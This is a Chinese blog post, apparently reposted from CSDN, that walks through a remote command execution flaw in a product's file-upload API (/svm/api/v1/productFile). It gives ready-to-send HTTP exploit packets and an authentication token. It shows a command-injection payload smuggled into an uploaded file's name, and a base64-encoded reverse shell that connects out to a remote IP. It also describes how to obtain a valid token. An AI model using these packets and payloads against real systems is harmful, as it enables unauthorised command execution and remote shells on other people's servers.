首页 > 其他分享 >远程命令执行漏洞分析

远程命令执行漏洞分析

时间:2024-12-22 09:31:30浏览次数:10  
标签:application zh zip 命令 Accept Content 漏洞 Token 远程

漏洞细节
通过情报直接获取到一点点细节,那就直接开始看过程 在这里插入图片描述
在这里插入图片描述
直接可以上传webshell,但是这里有一个Token鉴权 在这里插入图片描述
我们需要看这个Token的生成算法 在这里插入图片描述
对应的是so文件,需要我们ida逆向分析 在这里插入图片描述
直接看sub_35690函数即可,在这里插入图片描述
这里主要看v8大于等于0的函数即可,这里我就懒得看了

复现
数据包

POST /svm/api/v1/productFile?type=product&ip=127.0.0.1&agentNo=1 HTTP/1.1
Host:
Token: SElLIElnVTBzNVd6eWlibVB4M046dUE0SlBBbGJTWGNMUnk5aWg4dkJXL2RjeEdqKys4aTd0cHBMM09INytVZz0=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 566
Content-Type: multipart/form-data; boundary=------------------------LOHhVTVvcAweFijvGOVJEnTJWjEQDyVdzQtdtDcx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------LOHhVTVvcAweFijvGOVJEnTJWjEQDyVdzQtdtDcx
Content-Disposition: form-data; name=“file”;filename=“z.zip”
{{file(/Users/zhizhuo/Desktop/tools/目录穿越zip生成器/z.zip)}}
--------------------------LOHhVTVvcAweFijvGOVJEnTJWjEQDyVdzQtdtDcx-- 在这里插入图片描述
没打成功,回头在细梭一边代码,发现最终RCE的地方并不是文件上传,而是文件名字,先放一段要用的payload

ping xxx.dnslog.cn.zip”

反弹shell

“echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzkwOTkgMD4mMQ== | base64 -d”
文件名字不能有/这tm直接就不能写webshell,看起来只能无回显利用 在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
最后构造的poc数据包

POST /svm/api/v1/productFile?type=product&ip=127.0.0.1&agentNo=1 HTTP/1.1
Host:
Token: SElLIElnVTBzNVd6eWlibVB4M046dUE0SlBBbGJTWGNMUnk5aWg4dkJXL2RjeEdqKys4aTd0cHBMM09INytVZz0=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary =---------------------------142851345723692939351758052805
Content-Length: 346

-----------------------------142851345723692939351758052805
Content-Disposition: form-data; name=“file”; filename=“ping xxx.dnslog.cn.zip”
Content-Type: application/zip

123
-----------------------------142851345723692939351758052805–
Token生成
在这里插入图片描述
对于除了/static/外的路径都会经过验证Token 在这里插入图片描述
如果传入的Token没有通过验证的话,那么就会生成一个新的Token返回,下面找到访问控制器就可以了 在这里插入图片描述
构造请求获取Token信息 在这里插入图片描述
Token到手,在配合前面的上传数据包就可以实现远程命令执行

标签:application,zh,zip,命令,Accept,Content,漏洞,Token,远程
From: https://blog.csdn.net/Libao657/article/details/144343775

相关文章

  • 任意文件下载漏洞分析
    一、漏洞简介​app/adminapi/controller/v1/setting/SystemConfig.php​路由中存在任意文件下载漏洞二、影响版本<=v5.4.0三、环境搭建配置phpstudy,将网站的运行目录,设置在public​目录下设置伪静态四、漏洞原理分析该系统采用前后端分离技术,基于ThinkPHP6+eleme......
  • 两个远程代码执行漏洞分析
    UIforApacheKafka远程代码执行漏洞分析前言UIforApacheKafka是Provectus开源的针对ApacheKafka的一款管理界面。kafka-ui0.4.0版本至0.7.1版本存在安全漏洞,第一个漏洞可执行任意的Groovy脚本,第二个漏洞可通过滥用KafkaUI连接到恶意JMX服务器来利用,从......
  • 8086汇编(16位汇编)学习笔记00.DEBUG命令使用解析及范例大全
    转载自:https://bpsend.net/thread-99-1-1.html启动Debug,它是可用于测试和调试MS-DOS可执行文件的程序。Debug[[drive:][path]filename[parameters]]参数[drive:][path]filename指定要测试的可执行文件的位置和名称。parameters指定要测试的......
  • net use 和 net user 是 Windows 操作系统中用于网络和用户管理的两个命令。它们的
    netuse 和 netuser 是Windows操作系统中用于网络和用户管理的两个命令。它们的主要区别如下:1.功能netuse:用于连接、断开网络共享和映射网络驱动器。它允许用户访问网络上的共享资源(如文件夹和打印机)。netuser:用于管理用户账户,包括创建、删除和修改用户账户的属......
  • net use 命令用于在 Windows 系统中连接、断开或管理网络共享资源。以下是该命令的中
     netuse命令用于在Windows系统中连接、断开或管理网络共享资源。以下是该命令的中文翻译及其各个选项的说明:命令语法:CopyCodeNETUSE[设备名称|*][\\计算机名\共享名称[\卷]][密码|*][/USER:[域名\]用户名][/USER:[点分域名\]用户名]......
  • gitee库的远程基本操作
    gitclonehttps://gitee.com/ffxo/malloclabcdmalloclab添加远程仓库gitremoteaddupstreamhttps://gitee.com/ffxo/malloclab查看远程仓库gitremote-v拉取最新更改gitfetchupstream合并本地分支gitcheckoutmastergitmergeupstream/master全局设置gitco......
  • 第21天:信息收集-CDN绕过&Web应用&加速部署&漏洞回链&全网扫描&反向邮件&解析记录
    #知识点1、信息收集-Web应用-CDN加速-如何识别2、信息收集-Web应用-CDN加速-绕过方法一、前置知识:1.传统访问:用户访问域名–>解析服务器IP–>访问目标主机2.普通CDN:用户访问域名–>CDN节点–>真实服务器IP–>访问目标主机3.带WAF的CDN:用户访问域名–>CDN节点(WAF)–>......
  • Net Accounts 是一个 Windows 命令行工具,用于配置和管理与计算机帐户相关的安全设置,尤
    适用于操作系统的Net命令-WindowsServer|MicrosoftLearnNETACCOUNTS /?Thesyntaxofthiscommandis:NETACCOUNTS[/FORCELOGOFF:{minutes|NO}][/MINPWLEN:length]       [/MAXPWAGE:{days|UNLIMITED}][/MINPWAGE:days]      ......
  • net user 命令是 Windows 操作系统中的一个命令行工具,用于管理用户帐户。通过该命令,系
    适用于操作系统的Net命令-WindowsServer|MicrosoftLearn适用于操作系统的Net命令-WindowsServer|MicrosoftLearn netuser命令是Windows操作系统中的一个命令行工具,用于管理用户帐户。通过该命令,系统管理员可以查看、添加、修改和删除用户帐户,进行基本的用......
  • 【JavaScript 漏洞】原型污染详解
    免责声明本号所写文章方法和工具只用于学习和交流,严禁使用文章所述内容中的方法未经许可的情况下对生产系统进行方法验证实施,发生一切问题由相关个人承担法律责任,其与本号无关。什么是原型污染原型污染是一种JavaScript漏洞,它使攻击者能够向全局对象原型添加任意属性,然后这......